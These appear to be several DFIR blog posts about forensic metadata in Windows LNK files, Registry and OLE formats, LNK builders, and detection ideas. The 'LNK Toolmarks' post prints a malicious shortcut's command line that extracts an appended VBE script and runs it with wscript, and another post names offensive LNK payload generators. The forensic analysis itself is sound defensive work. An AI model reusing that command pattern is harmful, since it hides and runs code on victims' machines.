In this case, as you can see in figure 1, the "machine ID" is 31 bytes in size, with the first 24 bytes being "RAA6AFwAYQBhAC4AdgBiAHM", and the last 7 being all zeros.  As the size of the Tracker Data Block (4 bytes at 0xca3) remains consistent at 96 bytes, the larger-than-expected machine ID presents a parsing problem.  The "droids" start at offset 0xcd2, and are identical, so due to the larger machine ID, the Tracker Data Block itself "ends" part way through that section of data, at offset 0xd02.  This leaves the remaining 15 bytes of the final droid (which ends at 0xd11) unparsed...notice how the math works out?  The machine ID is 15 bytes larger than it should be, and as such, everything is "off" (per the MS file format documentation) by 15 bytes.

Normally, my parser returns output that appears as follows:

***TrackerDataBlock***
Machine ID            : admin-pc
New Droid ID Time     : Tue Sep 19 12:57:20 2017 UTC
New Droid ID Seq Num  : 11190
New Droid    Node ID  : 08:00:27:3a:ce:83
Birth Droid ID Time   : Tue Sep 19 12:57:20 2017 UTC
Birth Droid ID Seq Num: 11190
Birth Droid Node ID   : 08:00:27:3a:ce:83

The above output is from an LNK file that fully meets the file format specification.  During my research into some of these malicious LNK files, I added the ability to provide debugging information so that anomalies would be more apparent, rather than "hidden" behind the parsing process.

From the LNK file from which the hex dump in figure 1 was extracted, we can still extract and manually parse the droids; as the ObjectIDs are based on the UUID version 1 format (discussed in this blog post), we can use this information to our advantage in our research, extracting the node IDs (MAC addresses), etc.  Interestingly enough, though, the larger machine ID doesn't seem to have an effect on the command embedded within the LNK file; having sections of the file format that do not comply with the specification doesn't seem to affect the performance of the LNK file.

I began wondering if the larger machine ID field might be a "toolmark" of some kind, an artifact of whatever process or application that had been used to create the LNK file.  I also began looking at a range (I hesitate to qualify the range with "wide"...) of LNK files found online, particularly those that ran external commands (encoded Powershell commands, bitsadmin commands, etc.), as well as looking for tools, applications, or processes that would allow someone to create arbitrary, malicious LNK files.  At this point in time, I haven't yet found one that produces "toolmarks" similar to what's seen in figure 1.

The machine ID/NetBIOS name, user SID, VSN, and MAC address are all artifacts from the adversary's system that remain within the LNK file when it is sent to a target.  The folks at ProofPoint discussed one or two means of deploying LNK files, which could result in some very interesting artifacts.  I'm sure that if enough specifically-malicious LNK files were examined, we'd be able to pull out "toolmarks" from such things as specific applications/tools or processes used to create (or modify) the LNK files, or perhaps even identify misbehaving applications that create LNK files on non-Windows systems.

LNK Builders

I've blogged a bit...okay, a LOT...over the years on the topic of parsing LNK files, but a subject I really haven't touched on is LNK builders or generators. This is actually an interesting topic because it ties into the cybercrime economy quite nicely. What that means is that there are "initial access brokers", or "IABs", who gain and sell access to systems, and there are "RaaS" or "ransomware-as-a-service" operators who will provide ransomware EXEs and infrastructure, for a price. There are a number of other for-pay services, one of which is LNK builders.

In March, 2020, the Checkpoint Research team published an article regarding the mLNK builder, which at the time was version 2.2. Reading through the article, you can see that the building includes a great deal of functionality, there's even a pricing table. Late in July, 2022, Acronis shared a YouTube video describing how version 4.2 of the mLNK builder available.

In March, 2022, the Google TAG published an article regarding the "Exotic Lily" IAB, describing (among other things) their use of LNK files, and including some toolmarks (drive serial number, machine ID) extracted from LNK metadata. Searching Twitter for "#exoticlily" returns a number of references that may lead to LNK samples embedded in archives or ISO files. 

In June, 2022, Cyble published an article regarding the Quantum LNK builder, which also includes features and pricing scheme for the builder. The article indicates a possible connection between the Lazarus group and the Quantum LNK builder; similarities in Powershell scripts may indicate this connection.

In August, 2022, SentinelLabs published an article that mentioned both the mLNK and Quantum builders. This is not to suggest that these are the only LNK builders or generators available, but it does speak to the prevalence of this "*-as-a-service" offering, particularly as some threat actors move away from the use of "weaponized" (via macros) Office documents, and toward the use of archives, ISO/IMG files, and embedded LNK files.

Freeware Options
In addition to creating shortcuts through the traditional means (i.e., right-clicking in a folder, etc.), there are a number of freely available tools that allow you to create malicious LNK files. However, from looking at them, there's little available to indicate that they provide the same breadth of capabilities as the for-pay options listed earlier in this article. Here's some of the options I found:

lnk-generator (circa 2017)
Booby-trapped shortcut (circa 2017) - includes script
LNKUp (circa 2017) - LNK data exfil payload generator
lnk-kisser (circa 2019) - payload generator
pylnk3 (circa 2020) - read/write LNK files in Python
SharpLNKGen-UI (circa 2021) - expert mode includes use of ADSs (Github)
Haxx generator (circa 2022) - free download
lnkbomb - Python source, EXE provided
lnk2pwn (circa 2018) - EXE provided
embed_exe_lnk - embed EXE in LNK, sample provided 

Next Steps
So, what's missing in all this is toolmarks; with all these options, what does the metadata from malicious LNK files created using the builders/generators look like? Is it possible that given a sample or enough samples, we can find toolmarks that allow us to understand which builder was used?

Consider this file, for example, which shows the parsed metadata from several samples (most recent sample begins on line 119). The first two samples, from Mandiant's Cozy Bear article, are very similar; in fact, they have the same volume serial number and machine ID. The third sample, beginning on line 91, has a lot of the information we'd look to use for comparison removed from the LNK file metadata; perhaps the description field could be used instead, along with specific offsets and values from the header (given that the time stamps are zero'd out). In fact, besides zero'd out time stamps, there's the SID embedded in the LNK file, which can be used to narrow down a search.

The final sample is interesting, in that the PropertyStoreDataBlock appears to be well-populated (unlike the previous samples in the file), and contains information that sheds light on the threat actor's development environment.

Perhaps, as time permits, I'll be able to use a common executable (the calculator, Solitaire, etc.), and create LNK files with some of the freeware tools, noting the similarities and differences in metadata/toolmarks. The idea behind this would be to demonstrate the value in exploring file metadata, regardless of the actual file, as a means of understanding the breadth of such things in threat actor campaigns.

File Formats

Having an understanding of file formats is an important factor in DFIR work. In particular, analysts should understand what a proper file using a particular format should look like, so that they can see when something is amiss, or when the file itself has been manipulated in some manner.

Understanding file formats  goes well beyond understanding PE file formats and malware RE. Very often, various Microsoft file formats include data, or metadata (defined as "data about data") that can be mined/parsed, and then leveraged to tremendous effect, furthering overall analysis and intelligence development, often across multiple cases and campaigns.

LNK
Windows shortcut, or LNK files, have been covered extensively in this blog, as well as other blogs, in addition to having been well documented by MS. Suffice to say, LNK files can be leveraged by both good guys and bad guys, and if bad guys leverage them, so should the good guys...after all, the bad guys sending you an LNK file created in their environment is essentially just "free money", particularly if you're in CTI.

For example, the GOLDBACKDOOR report shows us a threat actor that sends an LNK file to their target, in a zip archive. So, the threat actor develops the LNK file in their environment, and sends that LNK file with all of it's metadata to the target. Now, as a DFIR analyst, you may have a copy of a file created within the threat actor's environment, one that contains information about their system(s). Why not take advantage of that metadata to develop a more meaningful threat intel picture?

Analysis of LNK files is similar to being an EOD tech (I would imagine)...you're looking at the construction of a "device", noting production mechanisms (based on tooling) as well as unique items that allow you to tie or "attribute" the LNK file in some manner. You can then leverage sites such as VirusTotal (via a retro-hunt) and populate your own MISP instance to build out a larger, more contextual threat intelligence picture. For example, consider the LNK file delivered as part of the Quantum ransomware campaign discussed in this TheDFIRReport article; the article provides an image of the metadata extracted from the LNK file. The machine ID, MAC address, and volume serial number (not shown) could be put into a Yara rule and submitted as a VirusTotal retro-hunt, providing insight into other instances or campaigns were LNK files with the same values were employed. You can also tighten or loosen the aperture of your retro-hunt by adding or removing values within the Yara rule.

Yet another example of how LNK metadata can be used...and likely the best example of this sort of data exploitation available thus far...can be seen in this Mandiant blog post from 2018. The post addresses differences between APT29 campaigns from 2016 and 2018, with references to differences in LNK files shows in figures 5 and 6. Reading through the article, you can see where the Mandiant team leveraged the data they had available to develop insights about the actor's campaigns.

OLE
OLE, or "object linking and embedding" (aka, "structured storage") is a file format most often associated with older versions of MS Office. As such, when MS transitioned the world to the "new" MSOffice file format, many likely thought, "okay, I'll never see that file format again." Oh, how wrong we were! The OLE format is used within a number of other files, including:

Files
Automatic JumpLists - all but one embedded stream consists of an LNK "file"
MSI files
Sticky Notes
Other files, some of which are application-dependent

We can look to a variety of tools to meet our needs in parsing these files:

OLE Parsing Tools
olefile
MiTeC SSV
ripOLE

For specifically parsing/working with MSI files, I'm told that folks use tools such as InstEdit, and orca.exe from MS.

Metadata that may be present in the document structure can be leveraged or exploited in a manner similar to LNK files, or better yet, really leveraged by combining it with what's found in LNK files. For example, the LNK file in the GOLDBACKDOOR report reportedly downloads a decoy .doc file, meaning that the metadata from the LNK file has a direct link to the metadata found in the .doc file.

Registry
At this point, the Windows Registry file format is well-understood, and documented (here, by Maxim Suhanov). As a result, we know how to parse it, but much like other file structures, we (as a community and industry) regularly fall short in truly exploiting the file format to our advantage. 

Registry keys have embedded time stamps, which as Lina L. astutely and articulately described in her blog post, can be manipulated. Time stamps are also visible in value data (albeit NOT in the structure of values) as strings, as binary data, or embedded within binary data streams. All of these can be used to further analysis, including possibly even to identify key LastWrite time manipulation (very much depending upon how it's done).

For example, a recent TheDFIRReport write-up on the Quantum ransomware indicates that when the user double-clicks the ISO file, artifacts of the ISO file being mounted on the system appear in the Windows Event Log. Okay, great...but does the drive letter assignment also appear in the MountedDevices key in the System hive? When the user double-clicks the LNK file embedded in the ISO file, is that action reflected in the user's UserAssist key?

Aside from the "normal" Registry hive files we're all familiar with...Software, System, SAM, Security, NTUSER.DAT, USRCLASS.DAT...other files on the system follow the same file format. This means that all of the tools we use to parse the 'usual suspects' can also be leveraged against these other files, which include BBI, DEFAULT, and ELAM in the system32\config folder, the AmCache.hve file, and the settings.dat files associated with MS Store apps (i.e., in the %user%\AppData\Local\Packages\windows.immersivecontrolpanel_cw5n1h2txyewy\Settings folder, etc.)

Tools
In 2008, Jolanta Thomassen created the tool regslack.pl, to parse deleted data from hive files as part of her thesis work. Since then additional tools have been created for parsing this information, not the least of which includes the del.pl and slack.pl RegRipper plugins. 

Exploiting LNK Metadata

Anyone who's followed me for a bit knows that I'm a huge proponent of metadata, and in particular, exploiting metadata in LNK files that threat actors create, use as lures, and send to their targets.

I read an article not long ago from Splunk titled, LNK or Swim: Analysis & Simulation of Recent LNK Phishing. The article covered a good bit of information regarding LNK files sent by some threat actors, and even included a list of metadata items that could be used for "threat intel purposes", as illustrated in figure 1.

Fig. 1: Splunk article excerpt

However, what's illustrated in figure 1 was as far as they went. In fact, reading through the article and looking at the images of LNK parser tool output, each of those images is cut off before embedded metadata and "extra data blocks" can be seen. Even then, including this information in the images would require analysts to manually transpose this information, which is a very inefficient and error-prone process, particularly given how small some of these images are within the article.

I will say that the article does go on to talk about the use of LNK files in phishing campaigns, and provides a link to an LNK generator tool. There are some definite opportunities here for a research project, where LNK metadata is compared across different creation methods (righ-click on the Desktop, PowerShell, the generator tool, etc.).

In December, 2016, JPCERT published an article describing how threat actors reveal clues about their development environment when they sent LNK files to their targets. The LNK files would contain metadata associated with the system on which they were created, which from a CTI perspective is "free money".

Figure 1 from the JPCERT article, extracted and illustrated in figure 2, demonstrates one way that the LNK file metadata can be used. In this figure, various elements of metadata are used in a graph to illustrate relationships amongst data that would not be obvious via a spreadsheet.

Fig. 2: Figure 1, excerpted from JPCERT article

At this point, you're probably asking, "how would this metadata be used in the real world?" Almost 2 years after the JPCERT article was published, the folks at Mandiant published an article regarding the comparison of data across two Cozy Bear campaigns, one in 2016 and the other in 2018. Within that article, at figures 5 and 6, the Mandiant analysts compared LNK file from the two campaigns, illustrating not just the differences, but also the similarities, such as the volume serial number (fig. 5) and the machine IDs (fig. 6). While there were differences in time stamps and other metadata, there were also consistencies between the two campaigns, 2 yrs apart.

If you're saying, "...but I don't do CTI..." at this point, that's okay. There may be steps we can take to use what we know about LNK files to protect ourselves.

If you have Sysmon installed on endpoints, Sysmon event ID 11 events identify file creation or modifications; you can monitor the Sysmon Event Log for such events, and extract the full file name and path. If the file extension is ".lnk", you can verify that that file is an LNK file based the "magic number" within the file header and the GUID that follows it. From there, you can then either flag the file based on the path, or take an extra step to compare the machine ID to the current endpoint name; if they're not the same, definitely flag or even quarantine the file. 

Is implementing this yourself kind of scary? No problem. If you're using an EDR vendor (directly, or through an MDR) and the EDR generates similar telemetry (keep in mind, not all do), contact the vendor about adding the capability. Detecting behaviors based on LNK files is notoriously difficult, so why not detect them when they're written to disk, and take action before a user double-clicks it?

Challenge 7 Write-up

Dr. Ali Hadi recently posted another challenge image, this one (#7) being a lot closer to a real-world challenge than a lot of the CTFs I've seen over the years. What I mean by that is that in the 22+ years I've done DFIR work, I've never had a customer pose more than 3 to 5 questions that they wanted answered, certainly not 51. And, I've never had a customer ask me for the volume serial number in the image. Never. So, getting a challenge that had a fairly simple and straight forward "ask" (i.e., something bad may have happened, what was it and when??) was pretty close to real-world. 

I will say that there have been more than a few times where, following the answers to those questions, customers would ask additional questions...but again, not 37 questions, not 51 questions (like we see in some CTFs). And for the most part, the questions were the same regardless of the customer; once whatever it was was identified, questions of risk and reporting would come up, was any data taken, and if so, what data?

I worked the case from my perspective, and as promised, posted my findings, including my case notes and timeline excerpts. I also added a timeline overlay, as well as MITRE ATT&CK mappings (with observables) for the "case".

Jiri Vinopal posted his findings in this tweet thread; I saw the first tweet with the spoiler warning, and purposely did not pursue the rest of the thread until I'd completed my analysis and posted my findings. Once I posted my findings and went back to the thread, I saw this comment:

"...but it could be Windows server etc..so prefetching could be disabled..."

True, the image could be of a Windows server, but that's pretty trivial to check, as illustrated in figure 1.

Fig 1: RRPro winver.pl plugin output

Checking to see if Prefetching is enabled is pretty straightforward, as well, as illustrated in figure 2.

Fig 2: Prefetcher Settings via System Hive

If prefetching were disabled, one would think that the *.pf files would simply not be created, rather than having several of them deleted following the installation of the malicious Windows service. The Windows Registry is a hierarchal database that includes, in part, configuration information for the Windows OS and applications, replacing the myriad configuration and ini files from previous versions of the OS. A lot of what's in the Registry controls various aspects of the Windows eco-system, including Prefetching.

In addition to Jiri's write-up/tweet thread of analysis, Ali Alwashali posted a write-up of analysis, as well. If you've given the challenge a shot, or think you might be interested in pursuing a career in DFIR work, be sure to take a look at the different approaches, give them some thought, and make comments or ask questions.

Remediations and Detections
Jiri shared some remediation steps, as well as some IOCs, which I thought were a great addition to the write-up. These are always good to share from a case; I included the SysInternals.exe hash extracted from the AmCache.hve file, along with a link to the VT page, in my case notes.

What are some detections or threat hunting pivot points we can create from these findings? For many orgs, looking for new Windows service installations via detections or hunting will simply be too noisy, but monitoring for modifications to the /etc/hosts file might be something valuable, not just as a detection, but for hunting and for DFIR work.

Has anyone considered writing Yara rules for the malware found during their investigation of this case? Are there any other detections you can think of, for either EDR or a SIEM?

Lessons Learned
One of the things I really liked about this particular challenge is that, while the incident occurred within a "compressed" timeframe, it did provide several data sources that allowed us to illustrate where various artifacts fit within a "program execution" constellation. If you look at the various artifacts...UserAssist, BAM key, and even ShimCache and AmCache artifacts...they're all separated in time, but come together to build out an overall picture of what happened on the system. By looking at the artifacts together, in a constellation or in a timeline, we can see the development and progression of the incident, and then by adding in malware RE, the additional context and detail will build out an even more complete picture.

Conclusions
A couple of thoughts...

DFIR work is a team effort. Unfortunately, over the years, the "culture" of DFIR has been one that has developed into a bit of a "lone wolf" mentality. We all have different skill sets, to different degrees, as well as different perspectives, and bringing those to bear is the key to truly successful work. The best (and I mean, THE BEST) DFIR work I've done during my time in the industry has been when I've worked as part of team that's come together, leveraging specific skill sets to truly deliver high-quality analysis.

Thanks
Thanks to Dr. Hadi for providing this challenge, and thanks to Jiri for stepping up and sharing his analysis!

LNK Toolmarks

Matt posted a blog article a while back, and I took interest in large part because it involved an LNK file.  Matt provided a hash for the file in question, as well as a walk-through of his "peeling of the onion", as it were.  However, one of the things that Matt pointed out that still needed to be done was toolmark analysis.

In his article, Matt says that LNK file, "...stitch together the world between the attacker and the victim."  He's right.  When an actor sends an LNK file to a target, particularly as an email attachment, they are sharing evidence of their development environment, which can be used to track threat actors and their campaigns.  This is facilitated by the fact that LNK files not only contain a great deal of metadata from the actor's dev environment that act as "toolmarks", but also due to the fact that the absence of portions of that metadata can also be considered "toolmarks", as well.

The metadata extracted from the LNK file Matt discussed is illustrated below:

File: d:\cases\lnk\foto
guid               {00021401-0000-0000-c000-000000000046}
mtime              Sat Sep 15 07:28:38 2018 Z
atime              Thu Sep 26 22:40:14 2019 Z
ctime              Sat Sep 15 07:28:38 2018 Z
workingdir         %CD%                          
basepath           C:\Windows\System32\cmd.exe   
shitemidlist       My Computer/C:\/Windows/System32/cmd.exe
**Shell Items Details (times in UTC)**
  C:2018-09-15 06:09:28  M:2019-09-23 17:18:10  A:2019-09-26 22:31:52 Windows  (9)  [526/1]
  C:2018-09-15 06:09:28  M:2019-05-06 20:04:58  A:2019-09-26 22:02:08 System32  (9)  [2246/1]
  C:2018-09-15 07:28:40  M:2018-09-15 07:28:40  A:2019-09-26 22:38:36 cmd.exe  (9)  
vol_sn             D4DA-5010                     
vol_type           Fixed Disk                    
commandline        /c start "" explorer "%cd%\Foto" | powershell -NonInteractive -noLogo -c "& {get-content %cd%\Foto.lnk | select -Last 1 > %appdata%\_.vbe}" && start "" wscript //B "%appdata%\_.vbe"
iconfilename       C:\Windows\System32\shell32.dll
hotkey             0x0                             
showcmd            0x7                             

***LinkFlags***
HasLinkTargetIDList|IsUnicode|HasWorkingDir|HasExpIcon|HasLinkInfo|HasArguments|HasIconLocation|HasRelativePath

As you can see, we have a good bit of what we'd expect to see in an LNK file, but there are also elements clearly absent, items we'd expect to see that just aren't there.  For example, there are no Extra Data Blocks (confirmed by visual inspection), and as such, no MAC address, no machine ID (or NetBIOS name), etc.  These missing pieces can be viewed as toolmarks, and we've seen where code executed by an LNK file has been appended to the end of the LNK file itself. 

While this particular LNK file is missing a good bit of what we would expect to see, based on the file format, there is still a good bit of information available that can be used to develop a better intel picture.  For example, the volume serial number is intact, and that can be used in a VirusTotal retro-hunt to locate other, perhaps similar LNK files.  This would then give some insight into how often this particular technique (and dev system) seem to be in use and in play, and if the VirusTotal page for each file found contains some information about the campaign, on which it was seen, that might also be helplful.

What something like this illustrates is the need for tying DFIR work much closer to CTI, and even EDR/MSS.  Some organizations still have these functions as separate business units, and this is particularly true within consulting organizations.  In such instances, CTI resources do not have the benefit of accessing DFIR information (and to some extent, vice versa), minimizing the view into incidents and campaigns.  Having the ability to fully exploit DFIR data, such as LNK files, and incorporating that information into CTI reporting produces a much richer picture, as evidenced by this FireEye write-up regarding Cozy Bear.